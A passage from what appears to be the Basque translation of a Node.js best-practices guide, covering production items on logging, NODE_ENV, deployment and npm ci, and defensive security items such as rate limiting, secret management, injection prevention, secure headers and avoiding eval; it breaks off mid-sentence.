tresnak**](./sections/production/detectvulnerabilities.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.14. Esleitu transakzio identifikazio bana adierazpen erregistro bakoitzari\n\n**TL;PL:** esleitu identifikatzaile bera –transakzio-: {balioren bat}– erregistro sarrera bakoitzari eskaera bakar baten barruan. Ondoren, erregistroetako erroreak ikuskatzean, erraz konturatuko zara zer gertatu zen aurretik eta ondoren. Zoritxarrez, hori ez da erraz lortzen Noden, haren izaera asinkronoa da eta. Ikusi kodearen adibideak beheko estekan\n\n**Bestela:** produkzioko erroreen erregistroa testuingururik gabe ikustean – aurretik gertatu zena, alegia –, askoz zailagoa eta motelagoa da arazoa aztertzea\n\n🔗 [**Informazio gehiago: esleitu transakzio identifikazio bana adierazpen erregistro bakoitzari**](./sections/production/assigntransactionid.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.15. Ezarri NODE_ENV = produkzioa\n\n**TL;PL:** ezarri NODE_ENV ingurune aldagaia ‘produkzioa‘ edo ‘garapena‘ ataletan produkzioaren optimizazioak aktibatu beharra dagoen adierazteko; npm pakete askok uneko ingurunea zehazten dute eta haren kodea optimizatzen dute ekoizpenerako\n\n**Bestela:** ezaugarri soil hori gabe errendimendua asko jaits liteke. Adibidez, Express erabiltzean zerbitzarira bideratzeko `NODE_ENV` gabe, errendimendua heren bat moteltzen da\n\n🔗 [**Informazio gehiago: Ezarri NODE_ENV = produkzioa**](./sections/production/setnodeenv.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.16. Diseinatu inplementazio automatizatuak, atomikoak eta geldialdi gabekoak\n\n**TL;PL:** ikerketek frogatu dute inplementazio ugari egiten dituzten taldeek ekoizpen arazo kritikoak izateko probabilitatea txikiagotzen dutela. Eskuz egin beharreko urrats arriskutsurik eta zerbitzuen geldialdirik ez duten inplementazio azkar eta automatizatuek nabarmen hobetzen dute inplementazio prozesua. Baliteke hori bera lortzea Docker eta IE tresnak, biak batera, erabiliz, inplementazio sinplifikatuari dagokionez industriaren estandarra bihurtu dira eta\n\n**Bestela:** inplementazio luzeak -> produkzioaren geldialdia eta gizakiak eragindako erroreak -> inplementazioan konfiantzarik ez duen taldea -> inplementazio eta funtzio gutxiago egitea\n\n<br/><br/>\n\n## ![✔] 5.17. Erabili Node.jsren LTS bertsio berria\n\n**TL;PL:** ziurtatu Node.jsren LTS bertsioa erabiltzen ari zarela errore kritikoen zuzenketak, segurtasun eguneratzeak eta errendimenduaren hobekuntzak jasotzeko\n\n**Bestela:** aurkitu berri diren erroreak edo ahuleziak erabil litezke produkzioan exekutatzen den aplikazio bat ustiatzeko eta baliteke zure aplikazioa ez izatea bateragarria hainbat modulurekin eta zailagoa gertatzea hura mantentzea\n\n🔗 [**Informazio gehiago: Erabili NTS.jsren LTS bertsioa**](./sections/production/LTSrelease.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.18. Ez bideratu erregistrorik aplikazioaren barruan\n\n**TL;PL:** garatzaileek ez dituzte erregistroen helmugak aplikazio kodearen barruan kodetu behar, aplikazioa exekutatzen den inguruneak berak definitu beharko ditu eta. Garatzaileek `stdout`-ean idatzi behar dituzte erregistroak erregistratze tresna bat erabiliz, eta gero exekuzio inguruneak (edukiontzia, zerbitzaria eta abar) bideratuko du `stdout` korrontea helmuga egokira (hau da, Splunk, Graylog, ElasticSearch eta abar)\n\n**Bestela:** aplikazioen kudeaketaren erregistroak bideratzea === zaila da eskalatzen, erregistroen galera dakar, eskasa izaten da kezken bereizketa\n\n🔗 [**Informazio gehiago: erregistroen bideraketa**](./sections/production/logrouting.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.19. Instalatu zure paketeak `npm ci` erabiliz\n\n**TL;PL:** ziurtatu ekoizpen kodeak erabiltzen duela probak egiteko erabili dituzun paketeen bertsio berdina. Exekutatu `npm ci` zure package.json eta package-lock.json paketen menpekotasunen instalazio garbia egiteko\n\n**Bestela:** QAk kodea sakonki probatuko du eta produkzioan modu desberdinean jokatuko duen bertsioa onartuko du. Are okerrago, produkzio talde bateko hainbat zerbitzarik kode desberdinak exekuta ditzake\n\n🔗 [**Informazio gehiago: erabili npm ci**](./sections/production/installpackageswithnpmci.basque.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#edukien-aurkibidea\">⬆ Itzuli hasierara</a></p>\n\n# `6. Segurtasuna`\n\n<div align=\"center\">\n<img src=\"https://img.shields.io/badge/OWASP%20Threats-Top%2010-green.svg\" alt=\"54 items\"/>\n</div>\n\n## ![✔] 6.1. Erabili linter segurtasun arauak\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** erabili segurtasunarekin lotutako linter pluginak, [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) bezalako segurtasun ahuleziak eta arazoak lehenbailehen atzemateko, ahal bada kodetzen ari diren bitartean. Horrek segurtasun ahuleziak atzematen lagun dezake, hala nola eval erabiltzea, bigarren mailako prozesu bat deitzea edo modulu bat inportatzea kate literal batekin (adibidez, erabiltzailearen sarrera). Egin klik 'Informazio gehiago' atalean segurtasun liner batek atzematen dituen kode adibideak ikusteko\n\n**Bestela:** garapenean zehar segurtasun ahulezia zuzena izan zitekeena produkzioaren arazo nagusia bihurtzen da. Gainera, baliteke proiektuak kodeen segurtasun praktika koherenterik ez jarraitzea, ahuleziak sartzea edo urruneko biltegietan sartutako sekretu konfidentzialak sortzea\n\n🔗 [**Informazio gehiago: lint arauak**](./sections/security/lintrules.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.2. Mugatu aldi baterako eskaerak middlewareak erabiliz\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** DOS erasoak oso ezagunak dira, eta nahiko erraz eragin daitezke. Ezarri abiadura muga kanpoko zerbitzu bat erabiliz, hala nola hodeiko karga orekatzaileak, hodeiko suebakiak, nginx, [abiadura-mugatzaile-malgua](https://www.npmjs.com/package/rate-limiter-flexible) (rate-limiter-flexible) edo (aplikazio txikiagoak eta ez hain kritikoetarako) abiadura mugatzeko middleware bat (adibidez, [express-rate-limit](https://www.npmjs.com/package/express-rate-limit), express abiadura mugatzailea)\n\n**Bestela:** aplikazio batek erasoak jasan ahal ditu, haren erabiltzaileei ukatzen bazaie jaso beharko luketen zerbitzua, aplikazioa egoera txarrean dagoelako edo eskuragarri ez dagoelako\n\n🔗 [**Informazio gehiago: ezarri abiadura muga**](./sections/security/limitrequests.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.3 Kendu sekretuak konfigurazio fitxategietatik edo erabili paketeak enkriptatzeko\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A3:Sensitive%20Data%20Exposure%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** ez gorde inoiz testu arrunteko sekreturik konfigurazio fitxategietan edo iturburu kodean. Horren ordez, erabili sekretuak kudeatzeko sistemak, hala nola Vault produktuak, Kubernetes / Docker Secrets edo ingurune aldagaiak. Azken baliabide gisa, iturburuko kontrolean gordetako sekretuak enkriptatu eta kudeatu egin behar dira (gako birakariak, iraungitzeak, ikuskaritza, etab.). Erabili aurre-commit/push kakoak, ustekabean sekreturik gordetzea saihesteko\n\n**Bestela:** iturburu kodearen kontrola publiko egin daiteke akats baten ondorioz, biltegi pribatuetan ere, eta orduan sekretu guztiak agerian geratzen dira. Kanpoko norbaitek iturburuko kontrolaren sarbidea ezagutzeak nahi gabe eragingo du erlazionatutako sistemetarako sarbideak ere ezagutzea (datu baseak, APIak, zerbitzuak, etab.)\n\n🔗 [**Informazio gehiago: kudeaketa sekretua**](./sections/security/secretmanagement.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.4. Saihestu kontsultak injektatzeko ahultasunak ORM / ODM liburutegiekin\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** SQL / NoSQL injekzioa eta beste eraso maltzur batzuk ekiditeko, erabili beti ORM / ODM edo datuetatik ihes egiten duen datu baseen liburutegia, edo kontsulta parametro izendatuak edo indexatuak onartzen dituena eta espero diren erabiltzaileen sarrera balioztatzen duena. Inoiz ez erabili JavaScript txantiloien kateak edo katearen kateatzea balioak kontsultetan txertatzeko, horrek zure aplikazioa ahultasunen espektro zabalera irekitzen baitu. Node.js entzute handiko datuen liburutegi guztiek injekzio erasoen aurkako babesa dute (adibidez, [Sequelize](https://github.com/sequelize/sequelize), [Knex](https://github.com/tgriesser/knex), [mongoose](https://github.com/Automattic/mongoose))\n\n**Bestela:** balidatu gabeko edo baimendu gabeko erabiltzaileen sarrerak operadorearen injekzioa ekar dezake NoSQLrako MongoDB-rekin lan egitean, eta saneamendu sistema edo ORM egokia ez erabiltzeak SQL injekzio erasoak ahalbidetuko ditu, ahultasun erraldoia sortuz\n\n🔗 [**Informazio gehiago: kontsulten injekzioaren prebentzioa ORM / ODM liburutegiak erabiliz**](./sections/security/ormodmusage.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.5. Segurtasuneko praktika onen bilduma\n\n**TL;PL:** Node.jsrekin zuzenean loturarik ez duen segurtasuneko aholku bilduma bat da: Noderen inplementazioa ez da hain desberdina beste edozein hizkuntzaren inplementazioaren aldean. Egin klik “Informazio gehiago” botoian sakontzeko\n\n🔗 [**Informazio gehiago: ohiko segurtasun praktika onak**](./sections/security/commonsecuritybestpractices.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.6. Doitu HTTP erantzunen izenburuak segurtasun hobea lortzeko\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** zure aplikazioak izenburu seguruak erabili beharko lituzke erasotzaileek gune arteko scriptak (XSS), clickjacking-a eta beste eraso maltzur arruntak egitea saihesteko. Horiek erraz konfigura daitezke [helmet](https://www.npmjs.com/package/helmet) bezalako moduluak erabiliz\n\n**Bestela:** erasotzaileek zure aplikazioaren erabiltzaileen aurkako eraso zuzenak egin ditzakete, segurtasun ahultasun handiak sortuz\n\n🔗 [**Informazio gehiago: erabili izenburu seguruak zure aplikazioan**](./sections/security/secureheaders.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.7. Etengabe eta automatikoki ikuskatu ba ote dagoen erasotzen errazak diren menpekotasunak\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Known%20Vulnerabilities%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** npm ekosistemarekin ohikoa da proiektu batek menpekotasun ugari izatea. Menpekotasunak beti kontrolatuta egon behar dira ahultasun berriak aurkitzen diren heinean. Erabili [npm audit](https://docs.npmjs.com/cli/audit) edo [snyk](https://snyk.io/) bezalako tresnak, erasotzen errazak diren menpekotasunen jarraipena egiteko, kontrolatzeko eta adabakiak jartzeko. Tresna horiek zure IE konfigurazioarekin integratu, erasotzen errazak diren menpekotasunenak atzemateko ekoizpenera iritsi aurretik\n\n**Bestela:** erasotzaile batek zure web esparrua detektatu eta ageriko ahultasun guztiei eraso ahal die\n\n🔗 [**Informazio gehiago: menpekotasunen segurtasuna**](./sections/security/dependencysecurity.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.8. Babestu erabiltzaileen pasahitzak / sekretuak BCrypt edo Script erabiliz\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** pasahitzak eta sekretuak (adibidez API giltzak) gorde behar dira hash + gatz funtzio seguru bat erabiliz, esaterako, `bcrypt`edo `scrypt`; eta kasurik okerrenean, `pbkdf2`\n\n**Bestela:** funtzio segururik erabili gabe gordetzen diren pasahitzak eta sekretuak bortxaz erasotuak izan daitezke edo hiztegi erasoak jasan ditzakete. Azkenean agerian gera daitezke, bai eta agian zabaldu ere\n\n🔗 [**Informazio gehiago: erabiltzaileen pasahitzak**](./sections/security/userpasswords.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.9. Ekidin HTML, JS eta CSS irteerak\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** arakatzailera bidaltzen diren datu ez fidagarriak bistaratu beharrean exekutatu egin daitezke, normalean cross-site-scripting (XSS) erasoa deritzona. Arindu hori datuak inoiz exekutatu behar ez diren eduki huts gisa (hau da, kodetu, ihes)esplizituki markatzen dituzten liburutegi espezializatuak erabiliz\n\n**Bestela:** erasotzaile batek JavaScript kodeketa kaltegarria gorde dezake zure DBn, gero bezero gizajoei dagoen moduan bidaliko zaiena\n\n🔗 [**Informazio gehiago: ihes irteera**](./sections/security/escape-output.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.10. Balidatu sarrerako JSON eskemak\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7: XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** balidatu sarrerako eskaeren gorputzeko zama erabilgarria eta ziurtatu zure itxaropenak betetzen dituela; eta, haiek bete ezean, huts eragin. Ibilbide bakoitzaren balioztatze kodetze neketsua saihesteko JSONen oinarritutako balioztatze eskema arinak erabil ditzakezu, hala nola [jsonschema](https://www.npmjs.com/package/jsonschema) edo [joi](https://www.npmjs.com/package/joi)\n\n**Bestela:** zure eskuzabaltasunak eta ikuspegi permisiboak asko handitzen dute erasoaren tamainua, eta erasotzailea sarrera asko probatzera bultzatzen du, aplikazioa kraskatzeko konbinazio bat aurkitu arte\n\n🔗 [**Informazio gehiago: balidatu sarrerako JSON eskemak**](./sections/security/validation.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.11. Onartu JWTen zerrenda beltzak\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** JSON web fitxak erabiltzean (adibidez, [Passport.js](https://github.com/jaredhanson/passport))-rekin), lehenespenez ez dago igorritako fitxen sarbidea ezeztatzeko mekanismorik. Erabiltzaileen jarduera maltzurren bat aurkitu ondoren, ez dago modurik sistemara sartzea eragozteko, baliozko fitxaren bat duten bitartean. Konpondu hori eskaera bakoitzean balioztatuko diren fitxa ezfidagarrien zerrenda beltza erabiliz\n\n**Bestela:** edozeinek erabil litzake iraungitako edo gaizki kokatutako fitxak, maltzurki aplikazio batera sartzeko eta fitxaren jabea ordezkatzeko\n\n🔗 [**Informazio gehiago: JSON web fitxen zerrenda beltzak**](./sections/security/expirejwt.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.12. Aurrea hartu baimenaren aurkako eraso basatiei\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** oso teknika sinple eta eraginkorra da baimen saiakerak mugatzea bi metrika erabiliz:\n\n1. Lehenengoa, erabiltzaile beraren ID / izen eta IP helbide bakarrak jarraian huts egin duen saiakera kopurua\n2. Bigarrena, IP helbide batek denbora tarte luze batean huts egin duen saiakera kopurua. Adibidez, blokeatu IP helbide bat, egun batean 100 saiakera huts egiten baditu\n\n**Bestela:** erasotzaile batek pasahitz automatizatuen saiakera mugagabeak egin ditzake aplikazio bateko kontu pribilegiatuetara sartzeko\n\n🔗 [**Informazio gehiago: mugatu saioa hasteko abiadura**](./sections/security/login-rate-limit.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.13. Exekutatu Node.js erabiltzaile ez-erro gisa\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A5:Broken%20Access%20Access%20Control-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** eszenatoki arrunt batean Node.js baimen mugagabeak dituen erro erabiltzaile gisa exekutatzen da. Hori da, adibidez, Docker edukiontzietako portaera lehenetsia. Gomendagarria da erro ez den erabiltzaile bat sortzea eta Docker irudian sartzea (behean azaltzen dira adibideak) edo prozesua erabiltzaile horren izenean abiaraztea \"-u username\" marka duen edukiontzia deituz\n\n**Bestela:** zerbitzarian script bat exekutatzea lortzen duten erasotzaileek botere mugagabea lortzen dute makina lokalaren gainean (adibidez, iptable aldatu eta trafikoa beren zerbitzarira bideratzea)\n\n🔗 [**Informazio gehiago: exekutatu Node.js erabiltzaile ez-erro gisa**](./sections/security/non-root-user.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.14. Mugatu kargaren tamaina alderantzizko proxy edo middlewareak erabiliz\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** zenbat eta gorputzaren karga handiagoa izan, orduan eta zailagoa da zure hari bakarra lan egitea hura prozesatzean. Hori da erasotzaileek zerbitzariak belauniko jartzeko aukera ona eskaera kopuru izugarririk egin gabe (DOS / DDOS erasoak). Murriztu arriskua ertzean jasotako eskaeren gorputzaren tamaina mugatuz (adibidez, suebakia, ELB) edo [express body parser](https://github.com/expressjs/body-parser) konfiguratuz tamaina txikiko kargak bakarrik onartzeko\n\n**Bestela:** zure aplikazioak eskaera handiei aurre egin beharko die, eta ezingo du prozesatu egin behar duen beste lan garrantzitsua, ondorioz errendimendua gutxituz eta DOS erasoekiko ahulduz\n\n🔗 [**Informazio gehiago: mugatu kargaren tamaina**](./sections/security/requestpayloadsizelimit.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.15. Saihestu JavaScripten eval adierazpenak\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** `eval` arriskutsua da, exekutatzeko garaian JavaScript kode pertsonalizatua exekutatzea baimentzen baitu. Hori ez da errendimendu arazo bat bakarrik, baizik eta segurtasun arazo garrantzitsua, erabiltzaileen sarreratik JavaScript kode gaiztoa lor daiteke eta. Halaber, `new Function constructor` ere saihestu beharra dago; eta, azkenik, `setTimeout` eta `setInterval`, ez dira inoiz pasatu behar, ezta JavaScript kode dinamikoa ere\n\n**Bestela:** Javascript kode gaiztoak bidea aurkitzen du `eval` testura edo JavaScript hizkuntzak denbora errealean ebaluatzeko dituen funtzioetara sartzeko, eta sarbide osoa lortuko du JavaScripten orrialdeko baimenetara. Ahultasun hori XSS eraso gisa agertzen da askotan\n\n🔗 [**Informazio gehiago: saihestu JavaScript eval adierazpenak**](./sections/security/avoideval.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.16. Saihestu RegEx gaiztoak zure exekuzio hari bakarra gainkargatzea\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** adierazpen erregularrak, oso erabilgarriak izan arren, benetako mehatxua dira JavaScript aplikazioentzat, oro har, eta Node.js plataformarentzat, bereziki. Erabiltzaile baten sarrera prozesatzeko testuarekin bat etor dadin, gerta liteke PUZeko ziklo kopuru handia behar izatea. RegExen prozesamenduaren eraginkortasuna hain txikia izan daiteke, ezen 10 hitz balioztatzen dituen eskaera bakar batek blokea baitezake gertaeren begizta osoa 6 segundoz, eta PUZa su hartzeko moduan jarri 🔥. Hori dela eta, erasotzen errazak diren ohiko adierazpen ahulen txantiloiak atzemateko erabili hirugarrenen balidazio paketeak -esaterako, [validator.js](https://github.com/chriso/validator.js)-, zuk zeure Regex ereduak idatzi edo [safe-regex](https://github.com/substack/safe-regex) erabili gabe\n\n**Bestela:** gaizki idatzitako ohiko adierazpenek Regular Expression DoSen erasoak jasan ditzakete, gertaeren begizta erabat blokeatuko dutenak. Adibidez, 2017ko azaroan, RegExen erabilera gaiztoak agerian jarri zuen `moment` pakete ezagunaren ahultasuna\n\n🔗 [**Informazio gehiago: saihestu RegEx gaiztoa erabiltzea**](./sections/security/regex.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.17. Saihestu moduluak kargatzea aldagai bat erabiliz\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** bide bat erabiltzailea sartu ondoren sortua ote den kezka baduzu eta horregatik parametro gisa ezarri baduzu, saihestu bide hori erabiltzea beste fitxategi bat deitzeko / inportatzeko. Arau hori, oro har, edozein fitxategitara sartzeko erabil daiteke (hau da, `fs.readFile()`) edo erabiltzailea sartu ondoren sortutako aldagai dinamikoak dituen beste baliabide konfidentzialetara sartzeko. [Eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) linterrek eredu horiek atzeman eta nahikoa goiz ohartaraz dezake\n\n**Bestela:** erabiltzaile gaiztoen sarrerak manipulatutako fitxategiak deitzeko erabiltzen den parametro batera jo dezake, adibidez, aurretik fitxategi sisteman kargatutako fitxategietara edo lehendik sisteman bazeuden fitxategietara sartzeko\n\n🔗 [**Informazio gehiago: moduluaren karga segurua**](./sections/security/safemoduleloading.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.18. Exekutatu kode ez segurua sandbox batean\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** exekuzio garaian ematen den kanpoko kodea exekutatu behar duzunean (adibidez, plugina), erabili kode nagusia isolatu eta pluginetik babesten duen 'sandbox' tankerako edozein exekuzio ingurune mota. Hori lor daiteke prozesu dedikatu baten bidez (adibidez, `cluster.fork()`), zerbitzaririk gabeko ingurune bat erabiliz edo sandbox bat balitz bezala jokatzen duten npm pakete dedikatuak erabiliz\n\n**Bestela:** plugin batek bide ugari erabil ditzake erasotzeko, hala nola begizta infinituak erabiliz, memoria gainkargatuz eta prozesu ingurune eraso errazen aldagaiak eskuratuz\n\n🔗 [**Informazio gehiago: exekutatu kode ez segurua sandbox batean**](./sections/security/sandbox.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.19. Kontu handia izan bigarren mailako prozesuekin lan egitean\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** ahal dela, saihestu bigarren mailako prozesuak, eta, hala behar izanez gero, balioztatu eta garbitu sarrera, shell injekzioko erasoak arintzeko. Hobetsi `child_process.execFile` fitxategia, definizioz komando bakarra exekutatuko duena atributu multzo batekin eta shell parametroen hedapena onartuko ez duena\n\n**Bestela:** bigarren mailako prozesuak ganorarik gabe erabiltzeak urruneko komandoen exekuzioa edo shell injekzioko erasoak eragin ditzake, desinfektatu gabeko sistema komando batera erabiltzaile gaiztoren bat sartu dela eta\n\n🔗 [**Informazio gehiago: kontuz ibili bigarren mailako prozesuekin lan egitean**](./sections/security/childprocesses.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.20. Ezkutatu bezeroari erroreen xehetasunak\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** errore integratuen kudeatzaile lasterrek lehenespenez ezkutatzen dituzte erroreen xehetasunak. Haatik, aukera handia dago inplementa dezan errore pertsonalizatuak dituzten objektuak kudeatzeko berak daukan logika (batzuen ustez praktika ona dena). Hala eginez gero, ziurtatu bezeroari errorearen objektu osoa ez itzultzea, horrek aplikazioen datu sentikorrak izan litzake eta\n\n**Bestela:** aplikazioaren xehetasun sentikorrak —hala nola, zerbitzariko fitxategien bideak, erabiltzen ari diren hirugarrenen moduluak eta erasotzaile batek balia ditzakeen aplikazioaren barneko beste lan fluxuak— atera daitezke pila aztarna batean aurkitutako informazioetatik\n\n🔗 [**Informazio gehiago: ezkutatu bezeroari erroreen xehetasunak**](./sections/security/hideerrors.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.21. Konfiguratu 2FA npm edo Yarn-entzat\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** garapen katearen edozein urrats MFArekin (faktore anitzeko autentifikazioarekin) babestu behar da. Iza ere, npm / Yarn aukera paregabea da garatzaile batzuen pasahitza eskuratu nahi duten erasotzaileentzat. Garatzaileen egiaztagiriak erabiliz, erasotzaileek kode gaiztoa txerta dezakete proiektu eta zerbitzuetan instalatuta dauden liburutegietan, eta, agian, sarean bertan ere, 